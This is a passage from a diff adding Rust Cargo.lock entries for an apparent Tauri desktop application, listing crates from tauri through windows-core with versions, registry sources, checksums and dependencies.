"da77cc00fb9028caf5b5d4650f75e31f1ef3693459dfca7f7e506d1ecef0ba2d" +dependencies = [ + "anyhow", + "bytes", + "cookie", + "dirs", + "dunce", + "embed_plist", + "getrandom 0.3.4", + "glob", + "gtk", + "heck 0.5.0", + "http", + "jni", + "libc", + "log", + "mime", + "muda", + "objc2", + "objc2-app-kit", + "objc2-foundation", + "objc2-ui-kit", + "objc2-web-kit", + "percent-encoding", + "plist", + "raw-window-handle", + "reqwest 0.13.2", + "serde", + "serde_json", + "serde_repr", + "serialize-to-javascript", + "swift-rs", + "tauri-build", + "tauri-macros", + "tauri-runtime", + "tauri-runtime-wry", + "tauri-utils", + "thiserror 2.0.18", + "tokio", + "tray-icon", + "url", + "webkit2gtk", + "webview2-com", + "window-vibrancy", + "windows", +] + +[[package]] +name = "tauri-build" +version = "2.5.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4bbc990d1dbf57a8e1c7fa2327f2a614d8b757805603c1b9ba5c81bade09fd4d" +dependencies = [ + "anyhow", + "cargo_toml", + "dirs", + "glob", + "heck 0.5.0", + "json-patch", + "schemars 0.8.22", + "semver", + "serde", + "serde_json", + "tauri-utils", + "tauri-winres", + "toml 0.9.12+spec-1.1.0", + "walkdir", +] + +[[package]] +name = "tauri-codegen" +version = "2.5.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d4a24476afd977c5d5d169f72425868613d82747916dd29e0a357c84c4bd6d29" +dependencies = [ + "base64 0.22.1", + "brotli", + "ico", + "json-patch", + "plist", + "png", + "proc-macro2", + "quote", + "semver", + "serde", + "serde_json", + "sha2", + "syn 2.0.117", + "tauri-utils", + "thiserror 2.0.18", + "time", + "url", + "uuid", + "walkdir", +] + +[[package]] +name = "tauri-macros" +version = "2.5.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d39b349a98dadaffebb73f0a40dcd1f23c999211e5a2e744403db384d0c33de7" +dependencies = [ + "heck 0.5.0", + "proc-macro2", + "quote", + "syn 2.0.117", + "tauri-codegen", + "tauri-utils", +] + +[[package]] +name = "tauri-plugin" +version = "2.5.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ddde7d51c907b940fb573006cdda9a642d6a7c8153657e88f8a5c3c9290cd4aa" +dependencies = [ + "anyhow", + "glob", + "plist", + "schemars 0.8.22", + "serde", + "serde_json", + "tauri-utils", + "toml 0.9.12+spec-1.1.0", + "walkdir", +] + +[[package]] +name = "tauri-plugin-opener" +version = "2.5.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fc624469b06f59f5a29f874bbc61a2ed737c0f9c23ef09855a292c389c42e83f" +dependencies = [ + "dunce", + "glob", + "objc2-app-kit", + "objc2-foundation", + "open", + "schemars 0.8.22", + "serde", + "serde_json", + "tauri", + "tauri-plugin", + "thiserror 2.0.18", + "url", + "windows", + "zbus", +] + +[[package]] +name = "tauri-runtime" +version = "2.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2826d79a3297ed08cd6ea7f412644ef58e32969504bc4fbd8d7dbeabc4445ea2" +dependencies = [ + "cookie", + "dpi", + "gtk", + "http", + "jni", + "objc2", + "objc2-ui-kit", + "objc2-web-kit", + "raw-window-handle", + "serde", + "serde_json", + "tauri-utils", + "thiserror 2.0.18", + "url", + "webkit2gtk", + "webview2-com", + "windows", +] + +[[package]] +name = "tauri-runtime-wry" +version = "2.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e11ea2e6f801d275fdd890d6c9603736012742a1c33b96d0db788c9cdebf7f9e" +dependencies = [ + "gtk", + "http", + "jni", + "log", + "objc2", + "objc2-app-kit", + "once_cell", + "percent-encoding", + "raw-window-handle", + "softbuffer", + "tao", + "tauri-runtime", + "tauri-utils", + "url", + "webkit2gtk", + "webview2-com", + "windows", + "wry", +] + +[[package]] +name = "tauri-utils" +version = "2.8.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "219a1f983a2af3653f75b5747f76733b0da7ff03069c7a41901a5eb3ace4557d" +dependencies = [ + "anyhow", + "brotli", + "cargo_metadata", + "ctor", + "dunce", + "glob", + "html5ever 0.29.1", + "http", + "infer", + "json-patch", + "kuchikiki", + "log", + "memchr", + "phf 0.11.3", + "proc-macro2", + "quote", + "regex", + "schemars 0.8.22", + "semver", + "serde", + "serde-untagged", + "serde_json", + "serde_with", + "swift-rs", + "thiserror 2.0.18", + "toml 0.9.12+spec-1.1.0", + "url", + "urlpattern", + "uuid", + "walkdir", +] + +[[package]] +name = "tauri-winres" +version = "0.3.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1087b111fe2b005e42dbdc1990fc18593234238d47453b0c99b7de1c9ab2c1e0" +dependencies = [ + "dunce", + "embed-resource", + "toml 0.9.12+spec-1.1.0", +] + +[[package]] +name = "tempfile" +version = "3.27.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32497e9a4c7b38532efcdebeef879707aa9f794296a4f0244f6f69e9bc8574bd" +dependencies = [ + "fastrand", + "getrandom 0.4.2", + "once_cell", + "rustix", + "windows-sys 0.61.2", +] + +[[package]] +name = "tendril" +version = "0.4.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d24a120c5fc464a3458240ee02c299ebcb9d67b5249c8848b09d639dca8d7bb0" +dependencies = [ + "futf", + "mac", + "utf-8", +] + +[[package]] +name = "tendril" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c4790fc369d5a530f4b544b094e31388b9b3a37c0f4652ade4505945f5660d24" +dependencies = [ + "new_debug_unreachable", + "utf-8", +] + +[[package]] +name = "thiserror" +version = "1.0.69" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b6aaf5339b578ea85b50e080feb250a3e8ae8cfcdff9a461c9ec2904bc923f52" +dependencies = [ + "thiserror-impl 1.0.69", +] + +[[package]] +name = "thiserror" +version = "2.0.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4288b5bcbc7920c07a1149a35cf9590a2aa808e0bc1eafaade0b80947865fbc4" +dependencies = [ + "thiserror-impl 2.0.18", +] + +[[package]] +name = "thiserror-impl" +version = "1.0.69" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4fee6c4efc90059e10f81e6d42c60a18f76588c3d74cb83a0b242a2b6c7504c1" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "thiserror-impl" +version = "2.0.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ebc4ee7f67670e9b64d05fa4253e753e016c6c95ff35b89b7941d6b856dec1d5" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "time" +version = "0.3.47" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "743bd48c283afc0388f9b8827b976905fb217ad9e647fae3a379a9283c4def2c" +dependencies = [ + "deranged", + "itoa", + "num-conv", + "powerfmt", + "serde_core", + "time-core", + "time-macros", +] + +[[package]] +name = "time-core" +version = "0.1.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7694e1cfe791f8d31026952abf09c69ca6f6fa4e1a1229e18988f06a04a12dca" + +[[package]] +name = "time-macros" +version = "0.2.27" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2e70e4c5a0e0a8a4823ad65dfe1a6930e4f4d756dcd9dd7939022b5e8c501215" +dependencies = [ + "num-conv", + "time-core", +] + +[[package]] +name = "tinystr" +version = "0.8.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c8323304221c2a851516f22236c5722a72eaa19749016521d6dff0824447d96d" +dependencies = [ + "displaydoc", + "zerovec", +] + +[[package]] +name = "tinyvec" +version = "1.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3e61e67053d25a4e82c844e8424039d9745781b3fc4f32b8d55ed50f5f667ef3" +dependencies = [ + "tinyvec_macros", +] + +[[package]] +name = "tinyvec_macros" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1f3ccbac311fea05f86f61904b462b55fb3df8837a366dfc601a0161d0532f20" + +[[package]] +name = "tokio" +version = "1.51.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f66bf9585cda4b724d3e78ab34b73fb2bbaba9011b9bfdf69dc836382ea13b8c" +dependencies = [ + "bytes", + "libc", + "mio", + "pin-project-lite", + "socket2", + "tokio-macros", + "windows-sys 0.61.2", +] + +[[package]] +name = "tokio-macros" +version = "2.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "385a6cb71ab9ab790c5fe8d67f1645e6c450a7ce006a33de03daa956cf70a496" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "tokio-rustls" +version = "0.26.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1729aa945f29d91ba541258c8df89027d5792d85a8841fb65e8bf0f4ede4ef61" +dependencies = [ + "rustls", + "tokio", +] + +[[package]] +name = "tokio-util" +version = "0.7.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9ae9cec805b01e8fc3fd2fe289f89149a9b66dd16786abd8b19cfa7b48cb0098" +dependencies = [ + "bytes", + "futures-core", + "futures-sink", + "pin-project-lite", + "tokio", +] + +[[package]] +name = "toml" +version = "0.8.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "185d8ab0dfbb35cf1399a6344d8484209c088f75f8f68230da55d48d95d43e3d" +dependencies = [ + "serde", + "serde_spanned 0.6.9", + "toml_datetime 0.6.3", + "toml_edit 0.20.2", +] + +[[package]] +name = "toml" +version = "0.9.12+spec-1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cf92845e79fc2e2def6a5d828f0801e29a2f8acc037becc5ab08595c7d5e9863" +dependencies = [ + "indexmap 2.14.0", + "serde_core", + "serde_spanned 1.1.1", + "toml_datetime 0.7.5+spec-1.1.0", + "toml_parser", + "toml_writer", + "winnow 0.7.15", +] + +[[package]] +name = "toml_datetime" +version = "0.6.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7cda73e2f1397b1262d6dfdcef8aafae14d1de7748d66822d3bfeeb6d03e5e4b" +dependencies = [ + "serde", +] + +[[package]] +name = "toml_datetime" +version = "0.7.5+spec-1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "92e1cfed4a3038bc5a127e35a2d360f145e1f4b971b551a2ba5fd7aedf7e1347" +dependencies = [ + "serde_core", +] + +[[package]] +name = "toml_datetime" +version = "1.1.1+spec-1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3165f65f62e28e0115a00b2ebdd37eb6f3b641855f9d636d3cd4103767159ad7" +dependencies = [ + "serde_core", +] + +[[package]] +name = "toml_edit" +version = "0.19.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1b5bb770da30e5cbfde35a2d7b9b8a2c4b8ef89548a7a6aeab5c9a576e3e7421" +dependencies = [ + "indexmap 2.14.0", + "toml_datetime 0.6.3", + "winnow 0.5.40", +] + +[[package]] +name = "toml_edit" +version = "0.20.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "396e4d48bbb2b7554c944bde63101b5ae446cff6ec4a24227428f15eb72ef338" +dependencies = [ + "indexmap 2.14.0", + "serde", + "serde_spanned 0.6.9", + "toml_datetime 0.6.3", + "winnow 0.5.40", +] + +[[package]] +name = "toml_edit" +version = "0.25.11+spec-1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0b59c4d22ed448339746c59b905d24568fcbb3ab65a500494f7b8c3e97739f2b" +dependencies = [ + "indexmap 2.14.0", + "toml_datetime 1.1.1+spec-1.1.0", + "toml_parser", + "winnow 1.0.1", +] + +[[package]] +name = "toml_parser" +version = "1.1.2+spec-1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a2abe9b86193656635d2411dc43050282ca48aa31c2451210f4202550afb7526" +dependencies = [ + "winnow 1.0.1", +] + +[[package]] +name = "toml_writer" +version = "1.1.1+spec-1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "756daf9b1013ebe47a8776667b466417e2d4c5679d441c26230efd9ef78692db" + +[[package]] +name = "tower" +version = "0.5.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ebe5ef63511595f1344e2d5cfa636d973292adc0eec1f0ad45fae9f0851ab1d4" +dependencies = [ + "futures-core", + "futures-util", + "pin-project-lite", + "sync_wrapper", + "tokio", + "tower-layer", + "tower-service", +] + +[[package]] +name = "tower-http" +version = "0.6.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d4e6559d53cc268e5031cd8429d05415bc4cb4aefc4aa5d6cc35fbf5b924a1f8" +dependencies = [ + "async-compression", + "bitflags 2.11.1", + "bytes", + "futures-core", + "futures-util", + "http", + "http-body", + "http-body-util", + "iri-string", + "pin-project-lite", + "tokio", + "tokio-util", + "tower", + "tower-layer", + "tower-service", +] + +[[package]] +name = "tower-layer" +version = "0.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "121c2a6cda46980bb0fcd1647ffaf6cd3fc79a013de288782836f6df9c48780e" + +[[package]] +name = "tower-service" +version = "0.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8df9b6e13f2d32c91b9bd719c00d1958837bc7dec474d94952798cc8e69eeec3" + +[[package]] +name = "tracing" +version = "0.1.44" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "63e71662fa4b2a2c3a26f570f037eb95bb1f85397f3cd8076caed2f026a6d100" +dependencies = [ + "pin-project-lite", + "tracing-attributes", + "tracing-core", +] + +[[package]] +name = "tracing-attributes" +version = "0.1.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7490cfa5ec963746568740651ac6781f701c9c5ea257c58e057f3ba8cf69e8da" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "tracing-core" +version = "0.1.36" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "db97caf9d906fbde555dd62fa95ddba9eecfd14cb388e4f491a66d74cd5fb79a" +dependencies = [ + "once_cell", +] + +[[package]] +name = "tray-icon" +version = "0.21.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a5e85aa143ceb072062fc4d6356c1b520a51d636e7bc8e77ec94be3608e5e80c" +dependencies = [ + "crossbeam-channel", + "dirs", + "libappindicator", + "muda", + "objc2", + "objc2-app-kit", + "objc2-core-foundation", + "objc2-core-graphics", + "objc2-foundation", + "once_cell", + "png", + "serde", + "thiserror 2.0.18", + "windows-sys 0.60.2", +] + +[[package]] +name = "try-lock" +version = "0.2.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e421abadd41a4225275504ea4d6566923418b7f05506fbc9c0fe86ba7396114b" + +[[package]] +name = "typeid" +version = "1.0.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bc7d623258602320d5c55d1bc22793b57daff0ec7efc270ea7d55ce1d5f5471c" + +[[package]] +name = "typenum" +version = "1.19.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "562d481066bde0658276a35467c4af00bdc6ee726305698a55b86e61d7ad82bb" + +[[package]] +name = "uds_windows" +version = "1.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f2f6fb2847f6742cd76af783a2a2c49e9375d0a111c7bef6f71cd9e738c72d6e" +dependencies = [ + "memoffset", + "tempfile", + "windows-sys 0.61.2", +] + +[[package]] +name = "unic-char-property" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a8c57a407d9b6fa02b4795eb81c5b6652060a15a7903ea981f3d723e6c0be221" +dependencies = [ + "unic-char-range", +] + +[[package]] +name = "unic-char-range" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0398022d5f700414f6b899e10b8348231abf9173fa93144cbc1a43b9793c1fbc" + +[[package]] +name = "unic-common" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "80d7ff825a6a654ee85a63e80f92f054f904f21e7d12da4e22f9834a4aaa35bc" + +[[package]] +name = "unic-ucd-ident" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e230a37c0381caa9219d67cf063aa3a375ffed5bf541a452db16e744bdab6987" +dependencies = [ + "unic-char-property", + "unic-char-range", + "unic-ucd-version", +] + +[[package]] +name = "unic-ucd-version" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "96bd2f2237fe450fcd0a1d2f5f4e91711124f7857ba2e964247776ebeeb7b0c4" +dependencies = [ + "unic-common", +] + +[[package]] +name = "unicode-ident" +version = "1.0.24" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e6e4313cd5fcd3dad5cafa179702e2b244f760991f45397d14d4ebf38247da75" + +[[package]] +name = "unicode-segmentation" +version = "1.13.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9629274872b2bfaf8d66f5f15725007f635594914870f65218920345aa11aa8c" + +[[package]] +name = "unicode-xid" +version = "0.2.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ebc1c04c71510c7f702b52b7c350734c9ff1295c464a03335b00bb84fc54f853" + +[[package]] +name = "unsafe-libyaml" +version = "0.2.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "673aac59facbab8a9007c7f6108d11f63b603f7cabff99fabf650fea5c32b861" + +[[package]] +name = "untrusted" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8ecb6da28b8a351d773b68d5825ac39017e680750f980f3a1a85cd8dd28a47c1" + +[[package]] +name = "url" +version = "2.5.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ff67a8a4397373c3ef660812acab3268222035010ab8680ec4215f38ba3d0eed" +dependencies = [ + "form_urlencoded", + "idna", + "percent-encoding", + "serde", + "serde_derive", +] + +[[package]] +name = "urlencoding" +version = "2.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "daf8dba3b7eb870caf1ddeed7bc9d2a049f3cfdfae7cb521b087cc33ae4c49da" + +[[package]] +name = "urlpattern" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "70acd30e3aa1450bc2eece896ce2ad0d178e9c079493819301573dae3c37ba6d" +dependencies = [ + "regex", + "serde", + "unic-ucd-ident", + "url", +] + +[[package]] +name = "utf-8" +version = "0.7.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "09cc8ee72d2a9becf2f2febe0205bbed8fc6615b7cb429ad062dc7b7ddd036a9" + +[[package]] +name = "utf8_iter" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b6c140620e7ffbb22c2dee59cafe6084a59b5ffc27a8859a5f0d494b5d52b6be" + +[[package]] +name = "uuid" +version = "1.23.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5ac8b6f42ead25368cf5b098aeb3dc8a1a2c05a3eee8a9a1a68c640edbfc79d9" +dependencies = [ + "getrandom 0.4.2", + "js-sys", + "serde_core", + "wasm-bindgen", +] + +[[package]] +name = "version-compare" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "03c2856837ef78f57382f06b2b8563a2f512f7185d732608fd9176cb3b8edf0e" + +[[package]] +name = "version_check" +version = "0.9.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0b928f33d975fc6ad9f86c8f283853ad26bdd5b10b7f1542aa2fa15e2289105a" + +[[package]] +name = "vswhom" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "be979b7f07507105799e854203b470ff7c78a1639e330a58f183b5fea574608b" +dependencies = [ + "libc", + "vswhom-sys", +] + +[[package]] +name = "vswhom-sys" +version = "0.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fb067e4cbd1ff067d1df46c9194b5de0e98efd2810bbc95c5d5e5f25a3231150" +dependencies = [ + "cc", + "libc", +] + +[[package]] +name = "walkdir" +version = "2.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "29790946404f91d9c5d06f9874efddea1dc06c5efe94541a7d6863108e3a5e4b" +dependencies = [ + "same-file", + "winapi-util", +] + +[[package]] +name = "want" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bfa7760aed19e106de2c7c0b581b509f2f25d3dacaf737cb82ac61bc6d760b0e" +dependencies = [ + "try-lock", +] + +[[package]] +name = "wasi" +version = "0.9.0+wasi-snapshot-preview1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cccddf32554fecc6acb585f82a32a72e28b48f8c4c1883ddfeeeaa96f7d8e519" + +[[package]] +name = "wasi" +version = "0.11.1+wasi-snapshot-preview1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ccf3ec651a847eb01de73ccad15eb7d99f80485de043efb2f370cd654f4ea44b" + +[[package]] +name = "wasip2" +version = "1.0.2+wasi-0.2.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9517f9239f02c069db75e65f174b3da828fe5f5b945c4dd26bd25d89c03ebcf5" +dependencies = [ + "wit-bindgen", +] + +[[package]] +name = "wasip3" +version = "0.4.0+wasi-0.3.0-rc-2026-01-06" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5428f8bf88ea5ddc08faddef2ac4a67e390b88186c703ce6dbd955e1c145aca5" +dependencies = [ + "wit-bindgen", +] + +[[package]] +name = "wasm-bindgen" +version = "0.2.118" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0bf938a0bacb0469e83c1e148908bd7d5a6010354cf4fb73279b7447422e3a89" +dependencies = [ + "cfg-if", + "once_cell", + "rustversion", + "wasm-bindgen-macro", + "wasm-bindgen-shared", +] + +[[package]] +name = "wasm-bindgen-futures" +version = "0.4.68" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f371d383f2fb139252e0bfac3b81b265689bf45b6874af544ffa4c975ac1ebf8" +dependencies = [ + "js-sys", + "wasm-bindgen", +] + +[[package]] +name = "wasm-bindgen-macro" +version = "0.2.118" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "eeff24f84126c0ec2db7a449f0c2ec963c6a49efe0698c4242929da037ca28ed" +dependencies = [ + "quote", + "wasm-bindgen-macro-support", +] + +[[package]] +name = "wasm-bindgen-macro-support" +version = "0.2.118" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9d08065faf983b2b80a79fd87d8254c409281cf7de75fc4b773019824196c904" +dependencies = [ + "bumpalo", + "proc-macro2", + "quote", + "syn 2.0.117", + "wasm-bindgen-shared", +] + +[[package]] +name = "wasm-bindgen-shared" +version = "0.2.118" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5fd04d9e306f1907bd13c6361b5c6bfc7b3b3c095ed3f8a9246390f8dbdee129" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "wasm-encoder" +version = "0.244.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "990065f2fe63003fe337b932cfb5e3b80e0b4d0f5ff650e6985b1048f62c8319" +dependencies = [ + "leb128fmt", + "wasmparser", +] + +[[package]] +name = "wasm-metadata" +version = "0.244.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bb0e353e6a2fbdc176932bbaab493762eb1255a7900fe0fea1a2f96c296cc909" +dependencies = [ + "anyhow", + "indexmap 2.14.0", + "wasm-encoder", + "wasmparser", +] + +[[package]] +name = "wasm-streams" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9d1ec4f6517c9e11ae630e200b2b65d193279042e28edd4a2cda233e46670bbb" +dependencies = [ + "futures-util", + "js-sys", + "wasm-bindgen", + "wasm-bindgen-futures", + "web-sys", +] + +[[package]] +name = "wasmparser" +version = "0.244.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "47b807c72e1bac69382b3a6fb3dbe8ea4c0ed87ff5629b8685ae6b9a611028fe" +dependencies = [ + "bitflags 2.11.1", + "hashbrown 0.15.5", + "indexmap 2.14.0", + "semver", +] + +[[package]] +name = "web-sys" +version = "0.3.95" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4f2dfbb17949fa2088e5d39408c48368947b86f7834484e87b73de55bc14d97d" +dependencies = [ + "js-sys", + "wasm-bindgen", +] + +[[package]] +name = "web-time" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5a6580f308b1fad9207618087a65c04e7a10bc77e02c8e84e9b00dd4b12fa0bb" +dependencies = [ + "js-sys", + "wasm-bindgen", +] + +[[package]] +name = "web_atoms" +version = "0.2.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "57a9779e9f04d2ac1ce317aee707aa2f6b773afba7b931222bff6983843b1576" +dependencies = [ + "phf 0.13.1", + "phf_codegen 0.13.1", + "string_cache 0.9.0", + "string_cache_codegen 0.6.1", +] + +[[package]] +name = "webkit2gtk" +version = "2.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a1027150013530fb2eaf806408df88461ae4815a45c541c8975e61d6f2fc4793" +dependencies = [ + "bitflags 1.3.2", + "cairo-rs", + "gdk", + "gdk-sys", + "gio", + "gio-sys", + "glib", + "glib-sys", + "gobject-sys", + "gtk", + "gtk-sys", + "javascriptcore-rs", + "libc", + "once_cell", + "soup3", + "webkit2gtk-sys", +] + +[[package]] +name = "webkit2gtk-sys" +version = "2.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "916a5f65c2ef0dfe12fff695960a2ec3d4565359fdbb2e9943c974e06c734ea5" +dependencies = [ + "bitflags 1.3.2", + "cairo-sys-rs", + "gdk-sys", + "gio-sys", + "glib-sys", + "gobject-sys", + "gtk-sys", + "javascriptcore-rs-sys", + "libc", + "pkg-config", + "soup3-sys", + "system-deps", +] + +[[package]] +name = "webpki-roots" +version = "1.0.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "22cfaf3c063993ff62e73cb4311efde4db1efb31ab78a3e5c457939ad5cc0bed" +dependencies = [ + "rustls-pki-types", +] + +[[package]] +name = "webview2-com" +version = "0.38.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7130243a7a5b33c54a444e54842e6a9e133de08b5ad7b5861cd8ed9a6a5bc96a" +dependencies = [ + "webview2-com-macros", + "webview2-com-sys", + "windows", + "windows-core 0.61.2", + "windows-implement", + "windows-interface", +] + +[[package]] +name = "webview2-com-macros" +version = "0.8.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "67a921c1b6914c367b2b823cd4cde6f96beec77d30a939c8199bb377cf9b9b54" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "webview2-com-sys" +version = "0.38.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "381336cfffd772377d291702245447a5251a2ffa5bad679c99e61bc48bacbf9c" +dependencies = [ + "thiserror 2.0.18", + "windows", + "windows-core 0.61.2", +] + +[[package]] +name = "widestring" +version = "1.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "72069c3113ab32ab29e5584db3c6ec55d416895e60715417b5b883a357c3e471" + +[[package]] +name = "winapi" +version = "0.3.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419" +dependencies = [ + "winapi-i686-pc-windows-gnu", + "winapi-x86_64-pc-windows-gnu", +] + +[[package]] +name = "winapi-i686-pc-windows-gnu" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6" + +[[package]] +name = "winapi-util" +version = "0.1.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c2a7b1c03c876122aa43f3020e6c3c3ee5c05081c9a00739faf7503aeba10d22" +dependencies = [ + "windows-sys 0.61.2", +] + +[[package]] +name = "winapi-x86_64-pc-windows-gnu" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" + +[[package]] +name = "window-vibrancy" +version = "0.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d9bec5a31f3f9362f2258fd0e9c9dd61a9ca432e7306cc78c444258f0dce9a9c" +dependencies = [ + "objc2", + "objc2-app-kit", + "objc2-core-foundation", + "objc2-foundation", + "raw-window-handle", + "windows-sys 0.59.0", + "windows-version", +] + +[[package]] +name = "windows" +version = "0.61.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9babd3a767a4c1aef6900409f85f5d53ce2544ccdfaa86dad48c91782c6d6893" +dependencies = [ + "windows-collections", + "windows-core 0.61.2", + "windows-future", + "windows-link 0.1.3", + "windows-numerics", +] + +[[package]] +name = "windows-collections" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3beeceb5e5cfd9eb1d76b381630e82c4241ccd0d27f1a39ed41b2760b255c5e8" +dependencies = [ + "windows-core 0.61.2", +] + +[[package]] +name = "windows-core" +version = "0.61.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c0fdd3ddb90610c7638aa2b3a3ab2904fb9e5cdbecc643ddb3647212781c4ae3" +dependencies = [ + "windows-implement", + "windows-interface", + "windows-link 0.1.3", + "windows-result 0.3.4", + "windows-strings 0.4.2", +] + 